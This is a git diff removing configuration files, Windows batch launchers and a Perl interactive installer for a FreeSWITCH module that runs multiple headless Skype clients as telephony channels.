<DPC>41010300676D6172757A7A3400</DPC>
<FirstSkypeoutTime>1268962216</FirstSkypeoutTime>
</Call>
<CentralStorage>
<LastBackoff>0</LastBackoff>
<LastFailure>0</LastFailure>
<LastSync>1303202372</LastSync>
<NeedSync>0</NeedSync>
<SyncSet>
<p>
<email>35716ecf:2</email>
<profile>98e6c103:0</profile>
</p>
<u>&#10; </u>
</SyncSet>
</CentralStorage>
<Chat>
<ActivityTS>1</ActivityTS>
<DialogPartner>3</DialogPartner>
<HistoryDays>65535</HistoryDays>
<MigrationDone>1266110339</MigrationDone>
</Chat>
<Contacts>
<Migration>1</Migration>
</Contacts>
<Message>
<DisableHistory>1</DisableHistory>
</Message>
<Notification>
<LastID>1000000166</LastID>
<LastPoll>1303166852</LastPoll>
<LastSearch>1303209779</LastSearch>
</Notification>
<PM>
<pslut>1267114269</pslut>
</PM>
<ProfilePopulated>2</ProfilePopulated>
<PropsManager>
<PermaProps>4109008620EBA4DDDB0400FA0100009E2001009420FB09008520B1A58BDD04008120CCD9E6E3040093209B0A00F501820200F801A3B608</PermaProps>
</PropsManager>
<StatsSender>
<CollectorLastSent>1267114267</CollectorLastSent>
<CollectorSeq>11</CollectorSeq>
<Saved>4263C0064DD5ACF9A03594DAB928D2B81510</Saved>
</StatsSender>
<Video>
<AdvertPolicy>noone</AdvertPolicy>
<Disable>1</Disable>
<RecvPolicy>noone</RecvPolicy>
</Video>
<table_insert_history>
<_59908281a5de1c9c602d40fe1f815199a1601558ebea75accdfae8b723bb342e>1303296179 23160:21600:1303209779 9589:7200:1303209779 8707:21600:1303209779</_59908281a5de1c9c602d40fe1f815199a1601558ebea75accdfae8b723bb342e>
</table_insert_history>
</Lib>
<UI>
<API>
<Authorizations>skypopen</Authorizations>
<BlockedPrograms></BlockedPrograms>
</API>
<AutoUpdate>0</AutoUpdate>
<CaptureDevice>2</CaptureDevice>
<RingDevice>2</RingDevice>
<SoundDevice>2</SoundDevice>
</UI>
</config>

View File

@ -1,74 +0,0 @@
<?xml version="1.0"?>
<config version="1.0" serial="3315" timestamp="1303209780.1">
<Lib>
<Account>
<IdleTimeForAway>300</IdleTimeForAway>
<IdleTimeForNA>1800</IdleTimeForNA>
<Migration>63</Migration>
</Account>
<Call>
<DPC>41010300676D6172757A7A3400</DPC>
<FirstSkypeoutTime>1268962216</FirstSkypeoutTime>
</Call>
<CentralStorage>
<LastBackoff>0</LastBackoff>
<LastFailure>0</LastFailure>
<LastSync>1303202372</LastSync>
<NeedSync>0</NeedSync>
<SyncSet>
<p>
<email>35716ecf:2</email>
<profile>98e6c103:0</profile>
</p>
<u>&#10; </u>
</SyncSet>
</CentralStorage>
<Chat>
<ActivityTS>1</ActivityTS>
<DialogPartner>3</DialogPartner>
<HistoryDays>65535</HistoryDays>
<MigrationDone>1266110339</MigrationDone>
</Chat>
<Contacts>
<Migration>1</Migration>
</Contacts>
<Message>
<DisableHistory>1</DisableHistory>
</Message>
<Notification>
<LastID>1000000166</LastID>
<LastPoll>1303166852</LastPoll>
<LastSearch>1303209779</LastSearch>
</Notification>
<PM>
<pslut>1267114269</pslut>
</PM>
<ProfilePopulated>2</ProfilePopulated>
<PropsManager>
<PermaProps>4109008620EBA4DDDB0400FA0100009E2001009420FB09008520B1A58BDD04008120CCD9E6E3040093209B0A00F501820200F801A3B608</PermaProps>
</PropsManager>
<StatsSender>
<CollectorLastSent>1267114267</CollectorLastSent>
<CollectorSeq>11</CollectorSeq>
<Saved>4263C0064DD5ACF9A03594DAB928D2B81510</Saved>
</StatsSender>
<Video>
<AdvertPolicy>noone</AdvertPolicy>
<Disable>1</Disable>
<RecvPolicy>noone</RecvPolicy>
</Video>
<table_insert_history>
<_59908281a5de1c9c602d40fe1f815199a1601558ebea75accdfae8b723bb342e>1303296179 23160:21600:1303209779 9589:7200:1303209779 8707:21600:1303209779</_59908281a5de1c9c602d40fe1f815199a1601558ebea75accdfae8b723bb342e>
</table_insert_history>
</Lib>
<UI>
<API>
<Authorizations>skypopen</Authorizations>
<BlockedPrograms></BlockedPrograms>
</API>
<AutoUpdate>0</AutoUpdate>
<CaptureDevice>2</CaptureDevice>
<RingDevice>2</RingDevice>
<SoundDevice>2</SoundDevice>
</UI>
</config>

View File

@ -1,74 +0,0 @@
<?xml version="1.0"?>
<config version="1.0" serial="3315" timestamp="1303209780.1">
<Lib>
<Account>
<IdleTimeForAway>300</IdleTimeForAway>
<IdleTimeForNA>1800</IdleTimeForNA>
<Migration>63</Migration>
</Account>
<Call>
<DPC>41010300676D6172757A7A3400</DPC>
<FirstSkypeoutTime>1268962216</FirstSkypeoutTime>
</Call>
<CentralStorage>
<LastBackoff>0</LastBackoff>
<LastFailure>0</LastFailure>
<LastSync>1303202372</LastSync>
<NeedSync>0</NeedSync>
<SyncSet>
<p>
<email>35716ecf:2</email>
<profile>98e6c103:0</profile>
</p>
<u>&#10; </u>
</SyncSet>
</CentralStorage>
<Chat>
<ActivityTS>1</ActivityTS>
<DialogPartner>3</DialogPartner>
<HistoryDays>65535</HistoryDays>
<MigrationDone>1266110339</MigrationDone>
</Chat>
<Contacts>
<Migration>1</Migration>
</Contacts>
<Message>
<DisableHistory>1</DisableHistory>
</Message>
<Notification>
<LastID>1000000166</LastID>
<LastPoll>1303166852</LastPoll>
<LastSearch>1303209779</LastSearch>
</Notification>
<PM>
<pslut>1267114269</pslut>
</PM>
<ProfilePopulated>2</ProfilePopulated>
<PropsManager>
<PermaProps>4109008620EBA4DDDB0400FA0100009E2001009420FB09008520B1A58BDD04008120CCD9E6E3040093209B0A00F501820200F801A3B608</PermaProps>
</PropsManager>
<StatsSender>
<CollectorLastSent>1267114267</CollectorLastSent>
<CollectorSeq>11</CollectorSeq>
<Saved>4263C0064DD5ACF9A03594DAB928D2B81510</Saved>
</StatsSender>
<Video>
<AdvertPolicy>noone</AdvertPolicy>
<Disable>1</Disable>
<RecvPolicy>noone</RecvPolicy>
</Video>
<table_insert_history>
<_59908281a5de1c9c602d40fe1f815199a1601558ebea75accdfae8b723bb342e>1303296179 23160:21600:1303209779 9589:7200:1303209779 8707:21600:1303209779</_59908281a5de1c9c602d40fe1f815199a1601558ebea75accdfae8b723bb342e>
</table_insert_history>
</Lib>
<UI>
<API>
<Authorizations>skypopen</Authorizations>
<BlockedPrograms></BlockedPrograms>
</API>
<AutoUpdate>0</AutoUpdate>
<CaptureDevice>2</CaptureDevice>
<RingDevice>2</RingDevice>
<SoundDevice>2</SoundDevice>
</UI>
</config>

View File

@ -1,74 +0,0 @@
<?xml version="1.0"?>
<config version="1.0" serial="3315" timestamp="1303209780.1">
<Lib>
<Account>
<IdleTimeForAway>300</IdleTimeForAway>
<IdleTimeForNA>1800</IdleTimeForNA>
<Migration>63</Migration>
</Account>
<Call>
<DPC>41010300676D6172757A7A3400</DPC>
<FirstSkypeoutTime>1268962216</FirstSkypeoutTime>
</Call>
<CentralStorage>
<LastBackoff>0</LastBackoff>
<LastFailure>0</LastFailure>
<LastSync>1303202372</LastSync>
<NeedSync>0</NeedSync>
<SyncSet>
<p>
<email>35716ecf:2</email>
<profile>98e6c103:0</profile>
</p>
<u>&#10; </u>
</SyncSet>
</CentralStorage>
<Chat>
<ActivityTS>1</ActivityTS>
<DialogPartner>3</DialogPartner>
<HistoryDays>65535</HistoryDays>
<MigrationDone>1266110339</MigrationDone>
</Chat>
<Contacts>
<Migration>1</Migration>
</Contacts>
<Message>
<DisableHistory>1</DisableHistory>
</Message>
<Notification>
<LastID>1000000166</LastID>
<LastPoll>1303166852</LastPoll>
<LastSearch>1303209779</LastSearch>
</Notification>
<PM>
<pslut>1267114269</pslut>
</PM>
<ProfilePopulated>2</ProfilePopulated>
<PropsManager>
<PermaProps>4109008620EBA4DDDB0400FA0100009E2001009420FB09008520B1A58BDD04008120CCD9E6E3040093209B0A00F501820200F801A3B608</PermaProps>
</PropsManager>
<StatsSender>
<CollectorLastSent>1267114267</CollectorLastSent>
<CollectorSeq>11</CollectorSeq>
<Saved>4263C0064DD5ACF9A03594DAB928D2B81510</Saved>
</StatsSender>
<Video>
<AdvertPolicy>noone</AdvertPolicy>
<Disable>1</Disable>
<RecvPolicy>noone</RecvPolicy>
</Video>
<table_insert_history>
<_59908281a5de1c9c602d40fe1f815199a1601558ebea75accdfae8b723bb342e>1303296179 23160:21600:1303209779 9589:7200:1303209779 8707:21600:1303209779</_59908281a5de1c9c602d40fe1f815199a1601558ebea75accdfae8b723bb342e>
</table_insert_history>
</Lib>
<UI>
<API>
<Authorizations>skypopen</Authorizations>
<BlockedPrograms></BlockedPrograms>
</API>
<AutoUpdate>0</AutoUpdate>
<CaptureDevice>2</CaptureDevice>
<RingDevice>2</RingDevice>
<SoundDevice>2</SoundDevice>
</UI>
</config>

View File

@ -1,74 +0,0 @@
<?xml version="1.0"?>
<config version="1.0" serial="3315" timestamp="1303209780.1">
<Lib>
<Account>
<IdleTimeForAway>300</IdleTimeForAway>
<IdleTimeForNA>1800</IdleTimeForNA>
<Migration>63</Migration>
</Account>
<Call>
<DPC>41010300676D6172757A7A3400</DPC>
<FirstSkypeoutTime>1268962216</FirstSkypeoutTime>
</Call>
<CentralStorage>
<LastBackoff>0</LastBackoff>
<LastFailure>0</LastFailure>
<LastSync>1303202372</LastSync>
<NeedSync>0</NeedSync>
<SyncSet>
<p>
<email>35716ecf:2</email>
<profile>98e6c103:0</profile>
</p>
<u>&#10; </u>
</SyncSet>
</CentralStorage>
<Chat>
<ActivityTS>1</ActivityTS>
<DialogPartner>3</DialogPartner>
<HistoryDays>65535</HistoryDays>
<MigrationDone>1266110339</MigrationDone>
</Chat>
<Contacts>
<Migration>1</Migration>
</Contacts>
<Message>
<DisableHistory>1</DisableHistory>
</Message>
<Notification>
<LastID>1000000166</LastID>
<LastPoll>1303166852</LastPoll>
<LastSearch>1303209779</LastSearch>
</Notification>
<PM>
<pslut>1267114269</pslut>
</PM>
<ProfilePopulated>2</ProfilePopulated>
<PropsManager>
<PermaProps>4109008620EBA4DDDB0400FA0100009E2001009420FB09008520B1A58BDD04008120CCD9E6E3040093209B0A00F501820200F801A3B608</PermaProps>
</PropsManager>
<StatsSender>
<CollectorLastSent>1267114267</CollectorLastSent>
<CollectorSeq>11</CollectorSeq>
<Saved>4263C0064DD5ACF9A03594DAB928D2B81510</Saved>
</StatsSender>
<Video>
<AdvertPolicy>noone</AdvertPolicy>
<Disable>1</Disable>
<RecvPolicy>noone</RecvPolicy>
</Video>
<table_insert_history>
<_59908281a5de1c9c602d40fe1f815199a1601558ebea75accdfae8b723bb342e>1303296179 23160:21600:1303209779 9589:7200:1303209779 8707:21600:1303209779</_59908281a5de1c9c602d40fe1f815199a1601558ebea75accdfae8b723bb342e>
</table_insert_history>
</Lib>
<UI>
<API>
<Authorizations>skypopen</Authorizations>
<BlockedPrograms></BlockedPrograms>
</API>
<AutoUpdate>0</AutoUpdate>
<CaptureDevice>2</CaptureDevice>
<RingDevice>2</RingDevice>
<SoundDevice>2</SoundDevice>
</UI>
</config>

View File

@ -1,34 +0,0 @@
<configuration name="skypopen.conf" description="Skypopen Configuration">
<global_settings>
<param name="dialplan" value="XML"/>
<param name="context" value="default"/>
<param name="destination" value="5000"/>
<param name="skype_user" value="user1"/>
<param name="report_incoming_chatmessages" value="true"/>
<param name="silent_mode" value="false"/>
<param name="write_silence_when_idle" value="true"/>
<param name="setsockopt" value="true"/>
</global_settings>
<!-- one entry here per each skypopen interface -->
<per_interface_settings>
<interface id="1" name="interface1">
<param name="X11-display" value=":101"/>
<param name="skype_user" value="user1"/>
</interface>
<interface id="2" name="interface2">
<param name="X11-display" value=":102"/>
<param name="skype_user" value="user2"/>
</interface>
<!-- following interfaces are commented out
<interface id="3" name="interface3">
<param name="X11-display" value=":103"/>
<param name="skype_user" value="user3"/>
</interface>
<interface id="4" name="interface4">
<param name="X11-display" value=":104"/>
<param name="skype_user" value="user4"/>
</interface>
-->
</per_interface_settings>
</configuration>

View File

@ -1,52 +0,0 @@
echo off
REM
REM you MUST use the new Skype (4.x) for Windows, older versions (3.x) cannot be started this way
REM
REM you have to adjust PATH to where the Skype executable is
set PATH=%PATH%;C:\Program Files\Skype\Phone\
echo %PATH%
REM start a Skype client instance that will login to the Skype network using the "username password" you give to it. Here xxx would be the password and user1 the username
start Skype.exe /secondary /username:user1 /password:xxx
call wait 7
start Skype.exe /secondary /username:user2 /password:xxx
call wait 7
REM
REM Following Skype client instances are commented out
REM
REM start Skype.exe /secondary /username:user3 /password:xxx
REM call wait 7
REM start Skype.exe /secondary /username:user4 /password:xxx
REM call wait 7
REM start Skype.exe /secondary /username:user5 /password:xxx
REM call wait 7
REM start Skype.exe /secondary /username:user6 /password:xxx
REM call wait 7
REM start Skype.exe /secondary /username:user7 /password:xxx
REM call wait 7
REM start Skype.exe /secondary /username:user8 /password:xxx
REM call wait 7
REM start Skype.exe /secondary /username:user9 /password:xxx
REM call wait 7
REM start Skype.exe /secondary /username:user10 /password:xxx
REM call wait 7
REM start Skype.exe /secondary /username:user11 /password:xxx
REM call wait 7
REM start Skype.exe /secondary /username:user12 /password:xxx
REM call wait 7
REM start Skype.exe /secondary /username:user13 /password:xxx
REM call wait 7
REM start Skype.exe /secondary /username:user14 /password:xxx
REM call wait 7
REM start Skype.exe /secondary /username:user15 /password:xxx
REM call wait 7
REM start Skype.exe /secondary /username:user16 /password:xxx
REM call wait 7
REM start Skype.exe /secondary /username:user17 /password:xxx
REM call wait 7
REM start Skype.exe /secondary /username:user18 /password:xxx
REM call wait 7
REM start Skype.exe /secondary /username:user19 /password:xxx
REM call wait 7
REM start Skype.exe /secondary /username:user20 /password:xxx

View File

@ -1,4 +0,0 @@
REM would you believe there is no sleep() in standard windows batchfiles?
@ping 127.0.0.1 -n 2 -w 1000 > nul
@ping 127.0.0.1 -n %1% -w 1000> nul

View File

@ -1,61 +0,0 @@
echo off
REM
REM you MUST use the new Skype (4.x) for Windows, older versions (3.x) cannot be started this way
REM
REM you have to adjust PATH to where the Skype executable is
set PATH=%PATH%;C:\Program Files\Skype\Phone\
REM echo %PATH%
REM start a Skype client instance that will login to the Skype network using the "username password" you give to it.
REM Here xxxx would be the password and user20 the username
start Skype.exe /secondary /username:user20 /password:xxxx
call C:\wait.cmd 20
start Skype.exe /secondary /username:user19 /password:xxxx
call C:\wait.cmd 5
REM
REM Following Skype client instances are commented out
REM
REM start Skype.exe /secondary /username:user18 /password:xxxx
REM call C:\wait.cmd 5
REM start Skype.exe /secondary /username:user17 /password:xxxx
REM call C:\wait.cmd 5
REM start Skype.exe /secondary /username:user16 /password:xxxx
REM call C:\wait.cmd 5
REM start Skype.exe /secondary /username:user15 /password:xxxx
REM call C:\wait.cmd 5
REM start Skype.exe /secondary /username:user14 /password:xxxx
REM call C:\wait.cmd 5
REM start Skype.exe /secondary /username:user13 /password:xxxx
REM call C:\wait.cmd 5
REM start Skype.exe /secondary /username:user12 /password:xxxx
REM call C:\wait.cmd 5
REM start Skype.exe /secondary /username:user11 /password:xxxx
REM call C:\wait.cmd 5
REM start Skype.exe /secondary /username:user10 /password:xxxx
REM call C:\wait.cmd 5
REM start Skype.exe /secondary /username:user9 /password:xxxx
REM call C:\wait.cmd 5
REM start Skype.exe /secondary /username:user8 /password:xxxx
REM call C:\wait.cmd 5
REM start Skype.exe /secondary /username:user7 /password:xxxx
REM call C:\wait.cmd 5
REM start Skype.exe /secondary /username:user6 /password:xxxx
REM call C:\wait.cmd 5
REM start Skype.exe /secondary /username:user5 /password:xxxx
REM call C:\wait.cmd 5
REM start Skype.exe /secondary /username:user4 /password:xxxx
REM call C:\wait.cmd 5
REM start Skype.exe /secondary /username:user3 /password:xxxx
REM call C:\wait.cmd 5
REM start Skype.exe /secondary /username:user2 /password:xxxx
REM call C:\wait.cmd 5
REM start Skype.exe /secondary /username:user1 /password:xxxx
call C:\wait.cmd 120
NET start AICCU2
pause

View File

@ -1,4 +0,0 @@
REM would you believe there is no sleep() in standard windows batchfiles?
@ping 127.0.0.1 -n 2 -w 1000 > nul
@ping 127.0.0.1 -n %1% -w 1000> nul

View File

@ -1,365 +0,0 @@
#!/usr/bin/perl
my $myname ;
my $skype_download_url = "http://download.skype.com/linux/skype-4.3.0.37.tar.bz2";
my $skype_download_pkg = "skype-4.3.0.37.tar.bz2";
my $skype_binary_dir = "/usr/local/freeswitch/skypopen/skype-clients-symlinks-dir";
my $skype_download_dir = "/tmp/skype_download";
my $skype_unpacked_dir = "skype-4.3.0.37";
my $skype_share_dir = "/usr/share/skype";
my $freeswitch_modules_config_dir = "/usr/local/freeswitch/conf/autoload_configs";
my $skypopen_sound_driver_dir = "/usr/local/freeswitch/skypopen/skypopen-sound-driver-dir";
my $skype_config_dir = "/usr/local/freeswitch/skypopen/skype-clients-configuration-dir";
my $skype_startup_dir = "/usr/local/freeswitch/skypopen/skype-clients-startup-dir";
my $skype_symlinks_dir = "/usr/local/freeswitch/skypopen/skype-clients-symlinks-dir";
my $skype_clients_to_be_launched = "5";
my $skype_clients_starting_number = "100";
my $multi_skypeusername = "one";
my $skype_username = "your_own_skype_username";
my $skype_password = "your_own_skype_password";
my @skype_username_array;
my @skype_password_array;
my $sure = "nope";
### PRESENTATION ###
system("clear");
printf("\n");
printf("This is the interactive installation helper for Skypopen\n");
printf("(http://wiki.freeswitch.org/wiki/Mod_skypopen_Skype_Endpoint_and_Trunk)\n");
printf("\n");
printf("Especially designed for FreeSWITCH\n");
printf("by Giovanni Maruzzelli\n");
printf("\n");
printf("Please direct all questions or issues to the FreeSWITCH mailing list or Jira\n");
printf("(http://lists.freeswitch.org/mailman/listinfo or https://freeswitch.org/jira)\n");
printf("\n");
printf("\n");
printf("I'll ask you questions, giving default answers in square brackets [] if any\n");
printf("To accept the default, just press Enter\n");
printf("You'll be prompted to confirm your answer at each step\n");
printf("At the end of questions, before I do anything, I'll let you review it all\n");
printf("To abort, press Ctrl-C\n");
printf("\n");
printf("\n");
printf("Let's start asking your name, so you see how the question/answer works\n");
printf("To accept the default, just press Enter\n");
$myname = &promptUser("Enter your name ", "Giovanni");
system("clear");
printf("\n");
printf("OK %s, GREAT! Let's start real questions! (At any time, Ctrl-C to abort)\n", $myname);
printf("\n");
printf("At the end of questions, before I do anything, I'll let you review all your answers, don't worry! :)\n");
printf("\n");
printf("\n");
### ASKING QUESTIONS ###
printf("I'm about to download the Skype client for Linux version 2.0.0.72 for OSS\n");
printf("nicely repackaged by Arch Linux with official Skype permission.\n");
printf("I need to create a directory to download and unpack the Skype client\n");
printf("To accept the default, just press Enter\n");
$skype_download_dir = &promptUser("Enter the full path of the Skype download directory ", "$skype_download_dir");
system("clear");
printf("\n");
printf("I'm about to install the Skype client\n");
printf("I would put the binary in $skype_binary_dir and the associated files in $skype_share_dir\n");
printf("Location of associated files is mandatory ($skype_share_dir)\n");
printf("Location of binary is recommended ($skype_binary_dir)\n");
printf("To accept the default, just press Enter\n");
$skype_binary_dir = &promptUser("Enter the directory full path for Skype client binary ", "$skype_binary_dir");
system("clear");
printf("\n");
printf("I'm about to create the FreeSWITCH configuration file for mod_skypopen (skypopen.conf.xml)\n");
printf("I need to know where to put it, eg: where is the FreeSWITCH modules' config dir\n");
printf("To accept the default, just press Enter\n");
$freeswitch_modules_config_dir = &promptUser("Enter the directory full path for FreeSWITCH modules' config files ", "$freeswitch_modules_config_dir");
system("clear");
printf("\n");
printf("I'm about to create the directory where to put our fake sound driver\n");
printf("Location of fake sound driver directory is where you like it more :)\n");
printf("To accept the default, just press Enter\n");
$skypopen_sound_driver_dir = &promptUser("Enter the directory full path for fake sound driver ", "$skypopen_sound_driver_dir");
system("clear");
printf("\n");
printf("I'm about to create the configuration directory needed by the Skype clients\n");
printf("Location of Skype clients configuration directory is where you like it more :)\n");
printf("To accept the default, just press Enter\n");
$skype_config_dir = &promptUser("Enter the directory full path for Skype clients config ", "$skype_config_dir");
system("clear");
printf("\n");
printf("I'm about to create a directory where I'll put the Skype clients startup script\n");
printf("Location of Skype clients startup script directory is where you like it more :)\n");
printf("To accept the default, just press Enter\n");
$skype_startup_dir = &promptUser("Enter the directory full path for Skype clients startup script ", "$skype_startup_dir");
system("clear");
printf("\n");
printf("I'm about to create the directory for symlinks needed by the Skype clients startup script\n");
printf("Location of symlinks directory is where you like it more :)\n");
printf("To accept the default, just press Enter\n");
$skype_symlinks_dir = &promptUser("Enter the directory full path for Skype clients symlinks ", "$skype_symlinks_dir");
system("clear");
printf("\n");
printf("How many Skype clients (channels) do you want to launch?\n");
printf("Each Skype client will be one channel to FreeSWITCH and use approx 70MB of ram\n");
printf("A quad core CPU can very easily support 20 or more Skype clients\n");
printf("Each Skype client allows one concurrent call\n");
printf("Eg: if you plan to have a max of 10 concurrent (outbound and/or inbound) Skype calls then enter 10\n");
printf("To accept the default, just press Enter\n");
$skype_clients_to_be_launched = &promptUser("Enter how many Skype clients will be launched ", "$skype_clients_to_be_launched");
system("clear");
printf("\n");
while(1){
printf("You want all of the Skype clients to use the same Skype login (skypeusername)?\n");
printf("eg: you want all of your skypopen channels to be Bob on the Skype network, or you want channel skype01 to be Bob, channel skype02 to be Alice, etc?\n");
printf("Please answer 'one' for all channels using the same Skype login (you'll be asked just one time for Skype login and password) or 'multi' for being asked for each channel\n");
printf("\n");
$multi_skypeusername = &promptUser("Enter 'one' or 'multi' ", "$multi_skypeusername");
system("clear");
printf("\n");
if($multi_skypeusername eq "one" or $multi_skypeusername eq "multi"){
last;
}
}
if($multi_skypeusername eq "one"){
printf("I need the Skype username which will be used by ALL the Skype clients to be launched\n");
printf("(That's the one-word you registered as login to the Skype network)\n");
printf("This installer will create the needed files to launch concurrently many (or one) instances of it\n");
printf("\n");
printf("NB: DON'T ACCEPT the DEFAULT, write YOUR OWN\n");
$skype_username = &promptUser("Enter the Skype clients username ", "$skype_username");
for($count=1; $count <= $skype_clients_to_be_launched ; $count++){
$skype_username_array[$count] = $skype_username;
}
system("clear");
printf("\n");
printf("I need the Skype password which will be used by ALL the Skype clients to be launched\n");
printf("(That's the one-word you registered as password to the Skype network)\n");
printf("\n");
printf("NB: DON'T ACCEPT the DEFAULT, write YOUR OWN\n");
$skype_password = &promptUser("Enter the Skype clients password ", "$skype_password");
for($count=1; $count <= $skype_clients_to_be_launched ; $count++){
$skype_password_array[$count] = $skype_password;
}
system("clear");
} else {
for($count=1; $count <= $skype_clients_to_be_launched ; $count++){
$skype_client_extension = $skype_clients_starting_number + $count ;
printf("I need the Skype username which will be used by the Skype client for channel 'skype$skype_client_extension'\n");
printf("(That's the one-word you registered as login to the Skype network)\n");
printf("\n");
printf("NB: DON'T ACCEPT the DEFAULT, write YOUR OWN\n");
$skype_username = &promptUser("Enter the Skype username for channel 'skype$skype_client_extension'", "$skype_username");
$skype_username_array[$count] = $skype_username;
system("clear");
printf("\n");
printf("I need the Skype password which will be used by the Skype client 'skype$skype_client_extension'\n");
printf("(That's the one-word you registered as password to the Skype network)\n");
printf("\n");
printf("NB: DON'T ACCEPT the DEFAULT, write YOUR OWN\n");
$skype_password = &promptUser("Enter the Skype password for '$skype_username'", "$skype_password");
$skype_password_array[$count] = $skype_password;
system("clear");
}
}
### GETTING FINAL APPROVAL ###
printf("\n");
printf("Please check the following values:\n");
printf("\n");
printf("directory for downloading and unpacking Skype client:\n'$skype_download_dir'\n");
printf("directory for Skype client binary:\n'$skype_binary_dir'\n");
printf("directory for FreeSWITCH modules' configs:\n'$freeswitch_modules_config_dir'\n");
printf("directory for fake sound driver:\n'$skypopen_sound_driver_dir'\n");
printf("directory for Skype clients configs:\n'$skype_config_dir'\n");
printf("directory for Skype clients startup script:\n'$skype_startup_dir'\n");
printf("directory for Skype clients symlinks:\n'$skype_symlinks_dir'\n");
printf("how many Skype clients to launch: '$skype_clients_to_be_launched'\n");
if($multi_skypeusername eq "one"){
printf("Skype login: '$skype_username'\n");
printf("Skype password: '$skype_password'\n");
}else {
for($count=1; $count <= $skype_clients_to_be_launched ; $count++){
$skype_client_extension = $skype_clients_starting_number + $count ;
printf("channel='skype$skype_client_extension' Skype login='$skype_username_array[$count]' Skype password='$skype_password_array[$count]'\n");
}
}
$sure = &promptUser("Are you sure you like the values? Write 'sure' for yes ", "$sure");
if($sure ne "sure"){
printf("No problem, please relaunch the installer and begin again\n");
exit 0;
}
system("clear");
printf("\n");
printf("GREAT! Please stand back, I'm working...\n");
printf("\n");
#### EXECUTION ###
system("mkdir -p $skype_download_dir");
system("cd $skype_download_dir ; wget -c $skype_download_url");
system("cd $skype_download_dir ; tar -xjf $skype_download_pkg");
system("mkdir -p $skype_binary_dir");
system("cd $skype_download_dir/$skype_unpacked_dir ; cp skype $skype_binary_dir/");
system("mkdir -p $skype_share_dir");
system("cd $skype_download_dir/$skype_unpacked_dir ; cp -a avatars $skype_share_dir/");
system("cd $skype_download_dir/$skype_unpacked_dir ; cp -a sounds $skype_share_dir/");
system("cd $skype_download_dir/$skype_unpacked_dir ; cp -a lang $skype_share_dir/");
system("cd $skype_download_dir/$skype_unpacked_dir ; cp -a icons $skype_share_dir/");
system("mkdir -p $skype_config_dir");
system("mkdir -p $skype_startup_dir");
system("mkdir -p $skype_symlinks_dir");
system("echo \"<configuration name=\\\"skypopen.conf\\\" description=\\\"Skypopen Configuration\\\">\" > $freeswitch_modules_config_dir/skypopen.conf.xml");
system("echo \"<global_settings>\" >> $freeswitch_modules_config_dir/skypopen.conf.xml");
system("echo \" <param name=\\\"dialplan\\\" value=\\\"XML\\\"/>\" >> $freeswitch_modules_config_dir/skypopen.conf.xml");
system("echo \" <param name=\\\"context\\\" value=\\\"default\\\"/>\" >> $freeswitch_modules_config_dir/skypopen.conf.xml");
system("echo \" <param name=\\\"destination\\\" value=\\\"5000\\\"/>\" >> $freeswitch_modules_config_dir/skypopen.conf.xml");
system("echo \" <param name=\\\"skype_user\\\" value=\\\"$skype_username\\\"/>\" >> $freeswitch_modules_config_dir/skypopen.conf.xml");
system("echo \" <param name=\\\"report_incoming_chatmessages\\\" value=\\\"false\\\"/>\" >> $freeswitch_modules_config_dir/skypopen.conf.xml");
system("echo \" <param name=\\\"write_silence_when_idle\\\" value=\\\"false\\\"/>\" >> $freeswitch_modules_config_dir/skypopen.conf.xml");
system("echo \" <param name=\\\"setsockopt\\\" value=\\\"true\\\"/>\" >> $freeswitch_modules_config_dir/skypopen.conf.xml");
system("echo \"</global_settings>\" >> $freeswitch_modules_config_dir/skypopen.conf.xml");
system("echo \"<!-- one entry follows per each skypopen interface -->\" >> $freeswitch_modules_config_dir/skypopen.conf.xml");
system("echo \"<per_interface_settings>\" >> $freeswitch_modules_config_dir/skypopen.conf.xml");
system("echo \"#!/bin/sh\" > $skype_startup_dir/start_skype_clients.sh");
system("echo >> $skype_startup_dir/start_skype_clients.sh");
system("echo >> $skype_startup_dir/start_skype_clients.sh");
for ($count = 1; $count <= $skype_clients_to_be_launched; $count++) {
$skype_client_extension = $skype_clients_starting_number + $count ;
$skype_login=$skype_username_array[$count];
$skype_passwd=$skype_password_array[$count];
system("ln -s $skype_binary_dir/skype $skype_symlinks_dir/skype$skype_client_extension");
system("mkdir -p $skype_config_dir/skype$skype_client_extension");
system("cp -a ../configs/skype-client-configuration-dir-template/skypeclient01/shared.* $skype_config_dir/skype$skype_client_extension");
system("cp -a ../configs/skype-client-configuration-dir-template/skypeclient01/skypenameA $skype_config_dir/skype$skype_client_extension/$skype_login");
system("echo \" <interface id=\\\"$count\\\" name=\\\"skype$skype_client_extension\\\">\" >> $freeswitch_modules_config_dir/skypopen.conf.xml");
if($multi_skypeusername ne "one"){
system("echo \" <param name=\\\"skype_user\\\" value=\\\"$skype_login\\\"/>\" >> $freeswitch_modules_config_dir/skypopen.conf.xml");
}
system("echo \" <param name=\\\"X11-display\\\" value=\\\":$skype_client_extension\\\"/>\" >> $freeswitch_modules_config_dir/skypopen.conf.xml");
system("echo \" </interface>\" >> $freeswitch_modules_config_dir/skypopen.conf.xml");
system("echo \"#start the fake X server on the given port\" >> $skype_startup_dir/start_skype_clients.sh");
system("echo \"/usr/bin/Xvfb :$skype_client_extension -ac -nolisten tcp -screen 0 640x480x8 &\" >> $skype_startup_dir/start_skype_clients.sh");
system("echo \"sleep 3\" >> $skype_startup_dir/start_skype_clients.sh");
system("echo \"# start a Skype client instance that will connect to the X server above, and will login to the Skype network using the 'username password' you send to it on stdin.\" >> $skype_startup_dir/start_skype_clients.sh");
system("echo \"su root -c \\\"/bin/echo '$skype_login $skype_passwd'| DISPLAY=:$skype_client_extension $skype_symlinks_dir/skype$skype_client_extension --dbpath=$skype_config_dir/skype$skype_client_extension --pipelogin &\\\"\" >> $skype_startup_dir/start_skype_clients.sh");
system("echo \"sleep 7\" >> $skype_startup_dir/start_skype_clients.sh");
system("echo >> $skype_startup_dir/start_skype_clients.sh");
}
system("echo \"</per_interface_settings>\" >> $freeswitch_modules_config_dir/skypopen.conf.xml");
system("echo \"</configuration>\" >> $freeswitch_modules_config_dir/skypopen.conf.xml");
system("echo \"exit 0\" >> $skype_startup_dir/start_skype_clients.sh");
printf("\n");
printf("SUCCESS!!!\n");
printf("\n");
#=========================================================================#
#-------------------------------------------------------------------------#
# promptUser, a Perl subroutine to prompt a user for input.
# Copyright 2010 Alvin Alexander, devdaily.com.
# This code is shared here under the
# Creative Commons Attribution-ShareAlike Unported 3.0 license.
# See http://creativecommons.org/licenses/by-sa/3.0/ for more information.
#-------------------------------------------------------------------------#
# Original at: http://www.devdaily.com/perl/edu/articles/pl010005
# Modified to get confirmations by Giovanni Maruzzelli
#----------------------------( promptUser )-----------------------------#
# #
# FUNCTION: promptUser #
# #
# PURPOSE: Prompt the user for some type of input, and return the #
# input back to the calling program. #
# #
